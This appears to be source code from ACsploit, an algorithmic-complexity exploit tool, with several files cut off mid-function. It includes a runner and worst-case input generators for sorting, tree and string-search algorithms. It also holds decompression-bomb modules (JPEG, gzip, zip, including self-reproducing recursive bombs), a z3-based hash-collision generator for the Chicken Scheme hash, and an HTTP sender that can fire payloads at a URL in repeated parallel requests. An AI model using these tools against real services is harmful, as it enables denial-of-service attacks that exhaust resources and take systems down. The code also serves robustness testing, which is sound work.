self.defaulted_options.append('input.%s' % option) if hasattr(self.exploit, 'DEFAULT_OUTPUT_OPTIONS'): for option, value in self.exploit.DEFAULT_OUTPUT_OPTIONS.items( ): self.output.options.set_value(option, value) self.defaulted_options.append('output.%s' % option) def do_run(self, args): """Runs the current exploit""" if self.exploit is None: eprint( colorize( 'No exploit set; nothing to do. Select an exploit with the \'use\' command', 'cyan')) else: eprint(colorize('Running %s...' % self.exploit_name, 'cyan')) start = time.perf_counter() if self.input is None: if self.output is None: self.exploit.run() else: self.exploit.run(self.output) else: # prepare is used to update internal state of input generators prior to running if hasattr(self.input, 'prepare'): self.input.prepare() if self.output is None: self.exploit.run(self.input) else: self.exploit.run(self.input, self.output) end = time.perf_counter() eprint( colorize( 'Finished running %s (%.2f seconds)' % (self.exploit_name, end - start), 'cyan'))
from options import Options options = Options() options.add_option('n_inputs', 10, 'Number of nodes in tree (to insert)') # Worst case for node insertion in a avl tree. DESCRIPTION = 'Produces a worst-case set of inputs for insertion in an AVL Tree' \ '\n\n ' \ 'Sorted insertions maximize balancing operations, resulting in the worst case input.' def run(generator, output): ret = sorted_list(generator, options['n_inputs']) output.output(ret) def sorted_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs): output.append(generator.get_less_than(output[i - 1])) return output
class StringGenerator: """String Generator""" INPUT_NAME = "string" def __init__(self): """Initialize the String Generator.""" self.options = Options() self.options.add_option('min_length', 1, 'Minimum string length') self.options.add_option('max_length', 10, 'Maximum string length') self.options.add_option('min_value', 'a', 'Minimum ASCII character to use') self.options.add_option('max_value', 'z', 'Maximum ASCII character to use') self.options.add_option('restrictions', '', 'String of characters to exclude') self.options.add_option( 'use_whitelist', False, 'If True, only generate characters from the whitelist') self.options.add_option( 'whitelist', '', 'String of characters to generate from if use_whitelist is True') self.char_gen = CharGenerator() self.prepare() def prepare(self): """Updates the string generator options.""" self.char_gen.options['min_value'] = self.options['min_value'] self.char_gen.options['max_value'] = self.options['max_value'] self.char_gen.options['restrictions'] = self.options['restrictions'] self.char_gen.options['use_whitelist'] = self.options['use_whitelist'] self.char_gen.options['whitelist'] = self.options['whitelist'] self.char_gen.prepare() def _reduce_last_char(self, value): """Returns the next lowest string, may be shorter than min_length""" c = value[-1] try: low_c = self.char_gen.get_less_than(c) return value[:-1] + low_c + self.char_gen.get_max_value() * ( self.options['max_length'] - len(value)) except ValueError: # the last character is min_value, strip it off return value[:-1] def _increment_last_char(self, value): """Returns the next greatest string of equal or lesser length than value""" while len(value) > 0: c = value[-1] try: high_c = self.char_gen.get_greater_than(c) value = value[:-1] + high_c if len(value) < self.options['min_length']: value += self.char_gen.get_min_value() * ( self.options['min_length'] - len(value)) return value except ValueError: value = value[:-1] # should never get here since we only call this function with value < max_value raise ValueError('No valid value exists greater than {}'.format(value)) def get_less_than(self, value): """Returns the largest valid string less than value (lexicographical order)""" # give up if value is not greater than min_value # all other cases should succeed, since there is at least one valid string (min_value) less than value if value <= self.get_min_value(): raise ValueError( 'No valid value exists less than {}'.format(value)) # strip all extra characters from the right if string is too long # the new value will be less than original, so return if valid, or continue max_len = self.options['max_length'] if len(value) > max_len: value = value[:max_len] if self.is_valid(value): return value # strip all chars beyond the first invalid char in value # we will reduce the invalid char in the next step for i, c in enumerate(value): if not self.char_gen.is_valid(c): value = value[:i + 1] value = self._reduce_last_char(value) while not self.is_valid(value): value = self._reduce_last_char(value) return value def get_greater_than(self, value): """Returns the smallest valid string greater than value (lexicographical order)""" # give up if value is not smaller than max_value # all other cases should succeed, since there is at least one valid string (max_value) greater than value if value >= self.get_max_value(): raise ValueError( 'No valid value exists greater than {}'.format(value)) # strip all extra characters from the right if string is too long # the result will be less than original, but will have the same next greatest value max_len = self.options['max_length'] if len(value) > max_len: value = value[:max_len] # deal with invalid chars # strip all chars right of the invalid char; increment the invalid char to a larger valid char for i, c in enumerate(value): if not self.char_gen.is_valid(c): value = value[:i + 1] return self._increment_last_char(value) # no invalid chars min_len = self.options['min_length'] if len(value) < min_len: # pad short value with min_value to min_length return value + self.char_gen.get_min_value() * (min_len - len(value)) elif len(value) < max_len: # append one min_value character to value if not too long return value + self.char_gen.get_min_value() else: # can't extend length; increment last char to a larger char return self._increment_last_char(value) def get_max_value(self): """Returns the max value.""" return self.char_gen.get_max_value() * self.options['max_length'] def get_min_value(self): """Returns the min value.""" return self.char_gen.get_min_value() * self.options['min_length'] def get_random(self): """Returns a random string Length is chosen uniformly at random, so shorter strings appear equally as often as longer strings, which means the distribution is not uniform, since any given short string is more likely to be chosen than a given longer string""" length = random.randint(self.options['min_length'], self.options['max_length']) return ''.join([self.char_gen.get_random() for _ in range(length)]) def get_list_of_values(self, num_values): """Returns a list of valid numbers starting from min_value.""" values = [] next = self.get_min_value() for _ in range(num_values): values.append(next) try: next = self.get_greater_than(next) except ValueError: raise ValueError( 'Fewer than {} unique values'.format(num_values)) return values def is_valid(self, candidate): """Returns true if the string has valid characters and meets min and max length constraints.""" length_is_valid = self.options['min_length'] <= len( candidate) <= self.options['max_length'] chars_are_valid = all(self.char_gen.is_valid(c) for c in candidate) return length_is_valid and chars_are_valid
class Http: """Http class.""" OUTPUT_NAME = 'http' # exploits can use this internally to whitelist/blacklist supported output formats _SEPARATORS = { 'newline': '\n', 'comma': ',', 'space': ' ', 'tab': '\t', 'os_newline': os.linesep, 'CRLF': '\r\n', 'none': '' } def __init__(self): """Initialize the Http class.""" self.options = Options() self.options.add_option('url', 'http://127.0.0.1:80/', 'Host to connect to') self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option( 'final_separator', False, 'Whether to end output with an instance of the separator') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) # TODO - eventually support PUT, DELETE, HEAD, and OPTIONS, since requests easily handles those self.options.add_option('http_method', 'GET', 'Type of HTTP request to make', ['POST', 'GET']) self.options.add_option('content_type', '', 'Content-Type header for the HTTP request') self.options.add_option('url_param_name', 'param', 'Name of URL arg(s) to use') self.options.add_option( 'spread_params', True, 'Put each output in its own URL arg, as opposed to all in one') self.options.add_option('use_body', False, 'Put exploit output in body, not URL args') self.options.add_option('print_request', False, 'Print HTTP request') self.options.add_option('send_request', True, 'Send HTTP request') self.options.add_option('n_requests', 1, 'Total number of times to send the request') self.options.add_option('n_parallel', 1, 'Number of requests to send simultaneously') # TODO - eventually allow printing out http response? def output(self, output_list): """Create an HTTP request and send the payload.""" url_payload = {} data_payload = '' separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) if self.options['use_body']: data_payload = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: data_payload += separator else: if self.options['spread_params']: url_payload[self.options['url_param_name']] = [ self.convert_item(item) for item in output_list ] else: line = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: line += separator url_payload = {self.options['url_param_name']: line} standard_headers = { 'User-Agent': 'python-requests', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Accept': '*/*' } if self.options['content_type'] != '': standard_headers['Content-Type'] = self.options['content_type'] # Must use HTTP or HTTPS; default to http if user has not specified url = self.options['url'] if not url.startswith('http://') and not url.startswith('https://'): url = 'http://' + url req = requests.Request(self.options['http_method'], url, params=url_payload, headers=standard_headers, data=data_payload) prepared = req.prepare() if self.options['print_request']: self.pretty_print_http(prepared) if self.options['send_request'] and self.options['n_requests'] > 0: request = self.get_request(prepared) if self.options['n_requests'] == 1: print('Sending HTTP request (est. {} bytes)'.format( len(request))) self.send_request(prepared) else: pool = multiprocessing.pool.ThreadPool( self.options['n_parallel']) print('Sending {} HTTP requests (est. {} bytes each)'.format( self.options['n_requests'], len(request))) # This will send n_parallel requests at once; each thread blocks until receiving a response # Each thread continues sending requests until n_requests have been sent in total across all threads pool.map(self.send_request, [prepared] * self.options['n_requests']) pool.close() pool.join() print('All HTTP requests sent') def send_request(self, prepared_req): s = requests.Session() s.send(prepared_req) s.close() # NOTE: This is only an approximation of the request that will actually be sent # The requests API does not expose the actual bytes of a request that will be sent over the wire # If using HTTPS, will return the unencrypted HTTP payload, not the TLS payloads def get_request(self, prepared_req): _, full_url = prepared_req.url.split( '://', maxsplit=1) # Strip http:// or https:// url, _, path = full_url.partition( '/') # Requests formats the url so there should always be a '/' headers = ''.join('{}: {}\r\n'.format(k, v) for k, v in prepared_req.headers.items()) body = '' if prepared_req.body is None else prepared_req.body request = '{} /{} HTTP/1.1\r\nHost: {}\r\n{}\r\n{}'.format( prepared_req.method, path, url, headers, body) return request def pretty_print_http(self, prepared_req): """Print readable http output.""" print('-----------START-----------') print(self.get_request(prepared_req)) print('------------END------------') def convert_item(self, item): """Convert output to a str type.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) return str(item)
from options import Options import os options = Options() options.add_option('size', 10, 'Size of decompressed JPEG in KB', list(range(10, 61, 10))) options.add_option('color', 'gray', 'color scale', ['gray', 'rgb']) DESCRIPTION = 'Produces JPEG compression bomb for given size and color scale.' \ '\n\n ' \ 'JPEG bombs of certain sizes will be output. Credit to https://bomb.codes.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = { 'final_newline': False, 'format': 'binary' } def run(output): size = str(options['size']) color = options['color'] with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'jpeg_bombs', color, size + 'K.jpeg'), 'rb') as f: output.output([f.read()])
import gzip import os import io from options import Options options = Options() options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'recursive']) options.add_option('target_size', 100000, 'Desired size of decompressed file in bytes (not applicable to recursive bombs)') DESCRIPTION = 'Produces a gzip archive that expands into a very large file or set of files.\n\n\tThe "recursive" bomb ' \ 'produces a self-reproducing bomb that will continue to decompress unless a ' \ 'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_file" ' \ 'bomb creates a single file which decompresses to the target size in bytes. The single_file bomb may use ' \ 'significant resources when built for large target_size, as ACsploit compresses the payload itself. Use caution' \ 'when executing with this option.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = { 'final_newline': False, 'format': 'binary' } def run(output): if options['type'] == 'recursive': with open(os.path.dirname(os.path.realpath(__file__)) + '/bombs-DONOTOPEN/gz_recursive.gz', 'rb') as f: gzip_contents = f.read() output.output([gzip_contents]) elif options['type'] == 'single_file':
import os import io import math import zipfile from options import Options options = Options() options.add_option('type', 'recursive', 'Type of bomb', ['single_layer', 'layer', 'recursive']) options.add_option('target_size', 100000, 'Desired size of decompressed file in bytes (not applicable to recursive bombs)') options.add_option('n_layers', 3, 'Number of nested layers of zip files (only relevant for layer bombs)') DESCRIPTION = 'Produces a zip archive that expands into a very large file or set of files.\n\n The "recursive" bomb ' \ 'produces a self-reproducing bomb that will continue to decompress unless a ' \ 'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_layer" ' \ 'bomb creates a single file which decompresses to the target size in bytes. The single_layer bomb may use ' \ 'significant resources when built for large sizes, as ACsploit compresses the payload itself. Use caution.' \ 'when executing with this option. The "layered" bomb contains nested archives with the depth controlled by ' \ 'the "n_layers" parameter.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = { 'final_newline': False, 'format': 'binary' }
from options import Options options = Options() options.add_option('pattern_length', 5, 'Length of pattern to search') options.add_option('string_length', 10, 'Length of string to search in') options.add_option('match', True, 'Whether to generate a matching or non-matching pattern') DESCRIPTION = 'Produces a worst-case string and search pattern for the Boyer-Moore string matching algorithm.' \ '\n\n ' \ 'The worst case run time when the pattern does not appear in the text is O(n+m), where n is the length ' \ 'of the pattern and m is the length of the text being searched in. The worst case run time when the ' \ 'pattern does appear in the text is O(nm). This latter case occurs when the pattern and text are the same ' \ 'character repeated.' DEFAULT_INPUT = 'char' def run(generator, output): if options['match']: ret = all_same_match(generator, options['string_length'], options['pattern_length']) else: ret = no_match(generator, options['string_length'], options['pattern_length']) output.output(ret) def no_match(generator, string_length, pattern_length): # For if you want to not match the pattern base = generator.get_min_value()
from options import Options options = Options() options.add_option('type', 'mid', 'Variant of quicksort', ['mid', 'lomuto', 'hoare']) options.add_option('n_inputs', 10, 'Number of elements to sort') DESCRIPTION = ('Produces a worst-case input set for quicksort' '\n\n Worst-case varies based on implementation:' '\n for lomuto or hoare partition scheme with high value as pivot, sorted input is worst and gives O(n^2) runtime;' '\n for mid variant pessimal input places the largest values at the pivots and gives O(n^2) runtime') def run(generator, output): if options['type'] in ['lomuto', 'hoare']: # Worst case for Lomuto and Hoare quicksort is already sorted output.output(ascending_list(generator, options['n_inputs'])) elif options['type'] == 'mid': # worst case for quicksort with midpoint pivots radiates from the center output.output(radiate_list(generator, options['n_inputs'])) def ascending_list(generator, n_inputs): return list(reversed(descending_list(generator, n_inputs))) def descending_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs): output.append(generator.get_less_than(output[i-1])) return output
import z3 from .z3_common import get_collisions from options import Options import itertools options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('n_substrings', 5, 'Number of substrings to create to will then be combined') options.add_option('initial_key', 0, 'Initial key value') options.add_option('hash_table_size', 0x3FFFFFFFFFFFFFFF, 'Size of target hash table') options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for vulnerable version the chicken scheme string hash.' \ '\n\n ' \ 'The algorithm generates two sets of strings using z3; one that hash to the desired target and another that ' \ 'can be prepended to a string without changing the hash result. This approach is significantly ' \ 'faster than relying naively on z3 but will generate longer strings. It may require tuning of the ' \ 'parameters: if "n_substrings" is too large the exploit may run very slowly; too small and the output ' \ 'strings will be very long.' DEFAULT_INPUT = 'char' def chicken_hash(bytes, m, r):